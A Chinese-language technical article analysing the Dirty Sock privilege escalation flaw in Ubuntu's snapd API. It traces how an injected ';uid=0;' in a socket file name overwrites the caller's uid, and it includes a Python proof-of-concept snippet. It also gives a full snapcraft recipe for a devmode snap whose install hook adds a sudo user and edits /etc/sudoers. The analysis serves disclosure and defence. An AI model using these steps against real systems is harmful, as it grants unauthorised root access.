溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何進行Ubuntu Linux中的特權(quán)提升漏洞Dirty Sock分析

發(fā)布時間:2021-11-11 15:30:00 來源:億速云 閱讀:143 作者:柒染 欄目:編程語言

如何進行Ubuntu Linux中的特權(quán)提升漏洞Dirty Sock分析,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

由于默認安裝的服務(wù)snapd API中的一個bug,通過默認安裝的Ubuntu Linux被發(fā)現(xiàn)存在特權(quán)提升漏洞,任何本地用戶都可以利用此漏洞直接獲取root權(quán)限。

概述

首先在此提供dirty_sock代碼倉庫中兩個有效的exploit:

dirty_sockv1:基于Ubuntu SSO的詳細信息,使用create-user API創(chuàng)建本地用戶。

dirty_sockv2:側(cè)加載snap,其中包含生成新本地用戶的install hook。

兩者都對默認安裝的Ubuntu有效。大部分測試是在18.10版本完成的,不過舊版本也受改漏洞影響。值得一提的是,snapd團隊對此漏洞回應(yīng)迅速且處理妥善。直接與他們合作也是非常愉快。

snapd提供了附加到本地UNIX_AF socket的REST API,通過查詢與該socket連接的關(guān)聯(lián)UID來實現(xiàn)對API的訪問控制。在for循環(huán)進行字符串解析的過程中,用戶可控的socket數(shù)據(jù)可以覆蓋UID變量,從而允許任何用戶訪問任何API函數(shù)。而通過訪問API,有多種方法可以獲取root權(quán)限,上面鏈接的exploit就展示了兩種可能性。

背景:什么是snap?

為了簡化Linux系統(tǒng)上的打包應(yīng)用程序,各種新的競爭標準紛紛出現(xiàn)。作為其中的一個發(fā)行版,Ubuntu Linux的開發(fā)商Canonical也在推廣他們的“Snap”,類似于Windows應(yīng)用程序,snap將所有應(yīng)用程序依賴項轉(zhuǎn)換為單個二進制文件。

Snap生態(tài)包含一個“應(yīng)用商店”,開發(fā)人員可以在其中發(fā)布和維護即時可用的軟件包。

本地的snap和在線商店的通信部分由系統(tǒng)服務(wù)“snapd”處理。此服務(wù)自動安裝在Ubuntu中,并在“root”用戶的上下文中運行。Snapd正在發(fā)展成為Ubuntu操作系統(tǒng)的重要組成部分,特別是在用于云和物聯(lián)網(wǎng)的“Snappy Ubuntu Core”等更精簡的發(fā)行版中。

漏洞總覽

有趣的Linux操作系統(tǒng)信息

snapd服務(wù)在位于/lib/systemd/system/snapd.service的unit文件中被描述。

以下是前幾行:

[Unit]
Description=Snappy daemon
Requires=snapd.socket

順著這個我們找到systemd socket unit文件,位于/lib/systemd/system/snapd.socket,其中提供了一些有趣的信息:

[Socket]
ListenStream=/run/snapd.socket
ListenStream=/run/snapd-snap.socket
SocketMode=0666

Linux通過稱為“AF_UNIX”的socket在同一臺機器上的進程之間進行通信?!癆F_INET”和“AF_INET6”socket則用于通過網(wǎng)絡(luò)連接的進程通信。上面顯示的內(nèi)容告訴我們系統(tǒng)創(chuàng)建了兩個socket文件。'0666'模式則為所有人設(shè)置文件讀寫權(quán)限,只有這樣才可以允許任何進程連接并進行socket通信。

我們可以通過文件系統(tǒng)在查看這些socket文件:

$ ls -aslh /run/snapd*
0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd-snap.socket
0 srw-rw-rw- 1 root root  0 Jan 25 03:42 /run/snapd.socket

我們可以通過Linux中的nc工具(只要是BSD風格)連接到像這樣的AF_UNIX socket。以下是一個示例。

$ nc -U /run/snapd.socket
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close
400 Bad Request

碰巧,攻擊者在入侵計算機后要做的第一件事就是查找在root上下文中運行的隱藏服務(wù),HTTP服務(wù)器是利用的主要目標,而它們通常與網(wǎng)絡(luò)套接字有關(guān)。

現(xiàn)在我們知道有一個很好的利用目標 - 一個隱藏可能沒有被廣泛測試的HTTP服務(wù)。另外,我正在開發(fā)一個提權(quán)工具uptux,該工具可識別出此漏洞。

存在漏洞的代碼

作為一個開源項目,我們利用源代碼繼續(xù)進行靜態(tài)分析。開發(fā)人員提供了有關(guān)此REST API的文檔。

對于利用而言,一個非常需要的API函數(shù)是“POST/v2/create-user”,簡稱為“創(chuàng)建本地用戶”。文檔告訴我們這個調(diào)用需要root權(quán)限才能執(zhí)行。那么守護進程究竟是如何確定訪問API的用戶是否已經(jīng)擁有root權(quán)限?

順著代碼我們找到了這個文件,現(xiàn)在來看這一行:

ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)

這是調(diào)用golang的標準庫之一,用來收集與套接字連接相關(guān)的用戶信息?;旧?,AF_UNIX socket系列有一個選項,可以在附加數(shù)據(jù)中接收發(fā)送過程的憑據(jù)(請參閱Linux命令行中的man unix)。這是確定訪問API的進程權(quán)限的一種相當可靠的方法。

通過使用名為delve的golang調(diào)試器,我們可以確切地看到上文執(zhí)行“nc”命令時返回的內(nèi)容。下面是在此函數(shù)中設(shè)置斷點時調(diào)試器的輸出,然后使用delve的“print”命令來顯示變量“ucred”當前包含的內(nèi)容:

> github.com/snapcore/snapd/daemon.(*ucrednetListener).Accept()
...
   109:	ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)
=> 110:	if err != nil {
...
(dlv) print ucred
*syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000}

不錯。它知道了我的uid為1000,即將拒絕我訪問敏感的API函數(shù)。如果程序在這種狀態(tài)下調(diào)用這些變量,那么結(jié)果就符合預期了,然而事實并非如此。

其實在此函數(shù)中還包含一些額外的處理,其中連接信息與上面發(fā)現(xiàn)的值會一起被添加到一個新對象:

func (wc *ucrednetConn) RemoteAddr() net.Addr {
return &ucrednetAddr{wc.Conn.RemoteAddr(), wc.pid, wc.uid, wc.socket}
}

這些值被拼接成一個字符串變量:

func (wa *ucrednetAddr) String() string {
    return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr)
}

最后經(jīng)由函數(shù)解析,字符串再次被分解為單個變量

func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) {
...
for _, token := range strings.Split(remoteAddr, ";") {
var v uint64
...
} else if strings.HasPrefix(token, "uid=") {
if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil {
uid = uint32(v)
} else {
break
}

最后一個函數(shù)的作用是將字符串用“;”字符拆分,然后查找以“uid =”開頭的任何內(nèi)容。當它遍歷完所有拆分時,第二次出現(xiàn)的“uid =”會覆蓋掉第一個。

所以如果我們能以某種方式將任意文本注入此函數(shù)中...

回到delve調(diào)試器,我們可以查看一下“remoteAddr”字符串,看看在實現(xiàn)正確的HTTP GET請求的“nc”連接中它包含了什么:

請求:

$ nc -U /run/snapd.socket
GET / HTTP/1.1
Host: 127.0.0.1

調(diào)試器輸出:

github.com/snapcore/snapd/daemon.ucrednetGet()
...
=>  41:	for _, token := range strings.Split(remoteAddr, ";") {
...
(dlv) print remoteAddr
"pid=5127;uid=1000;socket=/run/snapd.socket;@"

現(xiàn)在的情況是,我們有一個字符串變量,其中所有變量都拼接在一起,該字符串包含四個元素。第二個元素“uid = 1000”是當前控制權(quán)限的內(nèi)容。

函數(shù)將此字符串通過“;”拆分并迭代,如果字符串包含“uid=”),則可能會覆蓋第一個“uid =”。

第一個(socket=/run/snapd.socket)是用來監(jiān)聽socket的本地“網(wǎng)絡(luò)地址”:是服務(wù)所定義的綁定文件路徑。我們無法修改snapd,也無法讓其使用另一個socket名來運行。但是字符串末尾的“@”符號是什么? 這個是從哪里來的?變量名“remoteAddr”給了一個很好的提示。在調(diào)試器中費了些周折,我們可以看到golang標準庫(net.go)返回本地網(wǎng)絡(luò)地址和遠程地址。你可以在下面的調(diào)試會話中看到輸出為“l(fā)addr”和“raddr”。

> net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f)
...
=> 210:	func (c *conn) LocalAddr() Addr {
...
(dlv) print c.fd
...
laddr: net.Addr(*net.UnixAddr) *{
Name: "/run/snapd.socket",
Net: "unix",},
raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},}

遠程地址會被設(shè)置為神秘的@符號。進一步閱讀man unix幫助信息后,我們了解到這與“抽象命名空間”有關(guān),用來綁定獨立于文件系統(tǒng)的socket。命名空間中的socket開頭為null-byte,該字符在終端中通常會顯示為@。

我們可以創(chuàng)建綁定到我們控制的文件名的socket,而不依賴netcat利用的抽象套接字命名空間。這應(yīng)該允許我們影響想要修改的字符串變量的最后部分,也就是上文的“raddr”變量。

使用一些python代碼,我們可以創(chuàng)建一個包含“;uid=0;”字符串的文件名,通過socket綁定該文件,來啟動與snapd API的連接。

以下為PoC代碼片段:

## 設(shè)置包含payload的socket名稱
sockfile = "/tmp/sock;uid=0;"
## 綁定socket
client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
client_sock.bind(sockfile)
## 連接到snap守護進程
client_sock.connect('/run/snapd.socket')

現(xiàn)在再看一下remoteAddr變量,觀察調(diào)試器中發(fā)生的事情:

> github.com/snapcore/snapd/daemon.ucrednetGet()
...
=>  41:	for _, token := range strings.Split(remoteAddr, ";") {
...
(dlv) print remoteAddr
"pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;"

我們注入了一個假的uid 0,即root用戶,它會在最后一次迭代中覆蓋實際的uid。這樣我們就能夠訪問API的受保護功能。

在調(diào)試器中繼續(xù)觀察來驗證這一點,并看到uid被設(shè)置為0:

> github.com/snapcore/snapd/daemon.ucrednetGet()
...
=>  65:	return pid, uid, socket, err
...
(dlv) print uid
0

武器化使用

版本一

dirty_sockv1利用的是“POST/v2/create-user”這個API函數(shù)。要利用該漏洞,我們只需在Ubuntu SSO上創(chuàng)建一個賬戶,然后將SSH公鑰上傳到賬戶目錄中,接下來使用如下命令來利用漏洞(使用注冊的郵箱和關(guān)聯(lián)的SSH私鑰):

$ dirty_sockv1.py -u 你的@郵箱.com -k id_rsa

這種方法是非??煽康模梢园踩珗?zhí)行。你可以止步這里并自己嘗試獲得root權(quán)限。

還在看? 好吧,對互聯(lián)網(wǎng)連接和SSH服務(wù)的要求一直在變,我想看看我是否可以在更受限制的環(huán)境中利用。這導致我們有了版本二。

版本二

dirty_sockv2使用了“POST/v2/snaps” API來側(cè)加載snap,該snap中包含一個bash腳本,可以添加一個本地用戶。這個版本適用于沒有運行SSH服務(wù)的系統(tǒng),也適用于沒有互聯(lián)網(wǎng)連接的新版Ubuntu。然而,側(cè)加載需要一些核心snap依賴,如果不存在這些依賴,可能會觸發(fā)snapd服務(wù)的更新操作。這個場景下,我發(fā)現(xiàn)這個版本仍然有效,但只能使用一次。

snap本身運行在沙箱環(huán)境中,并且數(shù)字簽名需要匹配主機已信任的公鑰。然而我們可以通過處于開發(fā)模式(“devmode”)的snap來降低這些限制條件,這樣snap就能像其他應(yīng)用那樣訪問主機操作系統(tǒng)。

此外snap引入了“hooks”機制,其中“install hook”會在snap安裝時運行,并且“install hook”可以是一個簡單的shell腳本。如果snap配置為“devmode”,那么這個hook會在root上下文中運行。

我創(chuàng)建了一個簡單的snap,該snap沒有其他功能,只是會在安裝階段執(zhí)行的一個bash腳本。

該腳本會運行如下命令:

useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers

上面加密字符串只是使用Python crypt.crypt()函數(shù)處理“dirty_sock”所創(chuàng)建的文本。

以下命令顯示了詳細創(chuàng)建此快照的過程,這都是在開發(fā)機器上完成的,而不是目標機器。snap創(chuàng)建完畢后,我們可以將其轉(zhuǎn)換為base64文本,以便包含到完整的python利用代碼中。

## 安裝必要工具
sudo apt install snapcraft -y
## 創(chuàng)建空目錄
cd /tmp
mkdir dirty_snap
cd dirty_snap
## 初始化目錄作為snap項目
snapcraft init
## 設(shè)置安裝hook
mkdir snap/hooks
touch snap/hooks/install
chmod a+x snap/hooks/install
## 寫下我們想要以root執(zhí)行的腳本
cat > snap/hooks/install << "EOF"
#!/bin/bash
useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers
EOF
## 配置snap yaml文件
cat > snap/snapcraft.yaml << "EOF"
name: dirty-sock
version: '0.1' 
summary: Empty snap, used for exploit
description: |
    See https://github.com/initstring/dirty_sock
grade: devel
confinement: devmode
parts:
  my-part:
    plugin: nil
EOF
## 搭建snap
snapcraft

一旦有了snap文件,我們就可以通過bash將它轉(zhuǎn)換為base64,如下所示:

$ base64 <snap-filename.snap>

base64編碼的文本可以放在dirty_sock.py漏洞利用代碼開頭的全局變量“TROJAN_SNAP”中。

漏洞利用代碼本身是用python中寫的,可以執(zhí)行以下操作:

1.創(chuàng)建一個文件,文件名包含";uid=0;"

2.將socket綁定到該文件

3.連接到snap API

4.刪除(上次留下的)snap

5.(在install hook將運行時)安裝snap

6.刪除snap

7.刪除臨時socket文件

8.提示祝你利用成功

如何進行Ubuntu Linux中的特權(quán)提升漏洞Dirty Sock分析

預防和補救措施

打上補丁,snapd團隊在披露后迅速修復了漏洞。

看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進一步的了解或閱讀更多相關(guān)文章,請關(guān)注億速云行業(yè)資訊頻道,感謝您對億速云的支持。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI